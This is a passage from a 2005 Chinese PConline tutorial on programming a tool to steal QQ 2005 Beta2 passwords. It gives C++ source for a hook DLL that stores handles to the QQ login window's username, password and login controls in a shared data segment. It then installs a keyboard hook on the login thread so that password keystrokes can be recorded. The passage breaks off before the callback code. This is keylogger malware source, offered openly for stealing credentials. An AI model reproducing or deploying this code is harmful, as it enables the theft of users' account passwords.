正在阅读:编程实现盗2005 Beta2版QQ编程实现盗2005 Beta2版QQ

2005-09-01 10:02 出处:PConline 作者:∮明天去要饭 责任编辑:moningfeng

  (五) 创建钩子用的DLL
  1. 申明函数
  新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
  #define QQHookLIB_API __declspec(dllexport)
  //声明要导出的函数
  //安装键盘钩子函数         
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID);

  2. 申明共享数据段以及导出函数
  选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:
  EXPORTS

   SetKeyBoardHook
  SECTIONS
   QQSpyShare Read Write Shared
  这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。

  3. DLL主要代码
  接下来在QQHook.cpp文件中添加如下代码:

  //共享数据段,注意要初始化
  #pragma data_seg("QQSpyShare")
  HWND  g_hLoginWindowWnd = NULL; //QQ主窗口句柄
  HHOOK g_hMessageHook = NULL;  //消息钩子句柄
  HHOOK g_hKeyBoardHook = NULL;  //键盘钩子句柄
  HWND hQQLoginUserName = NULL;
  HWND hQQLoginUserPwd = NULL;
  HWND hQQLoginButton = NULL;
  #pragma data_seg()

  //安装键盘钩子函数          
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID)
  {
   BOOL bResult;

   if(bInstall)
   { 
    //保存用户名的句柄
    hQQLoginUserName = hUserName;
    //保存密码的句柄
    hQQLoginUserPwd = hUserPwd; 
    //保存登陆QQ按钮的句柄
    hQQLoginButton = hLoginButton;
    //保存登陆窗口的句柄
    g_hLoginWindowWnd = hLoginWindow;
    //登陆窗口的主线程,安装钩子的时候要用
    DWORD dwCreateLoginWindowThreadId;
    dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);  
    //在登陆窗口主线程上安装钩子
    g_hKeyBoardHook = SetWindowsHookEx(
     WH_KEYBOARD,     //安装键盘钩子
     (HOOKPROC)KeyBoardProc,   //键盘钩子回调函数
     hDll,        //QQHook.dll模块句柄
     dwCreateLoginWindowThreadId);   //登陆窗口的主线程

    if(g_hKeyBoardHook == NULL)
    {
     printf("键盘钩子安装失败!");
     return FALSE;
    }
    else
    {
     printf("键盘钩子安装成功了!");
     return TRUE;
    }
  
   }
   else
   {
    //卸载钩子
    bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
    if(bResult == TRUE)
    {
     printf("键盘钩子卸载成功!");
     return TRUE;
    }
    else
    {
     printf("键盘钩子卸载失败!");
     return FALSE;
    }
   }
   return TRUE;
  }

  以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码:

键盘也能翻页,试试“← →”键

相关文章

关注我们

最新资讯离线随时看 聊天吐槽赢奖品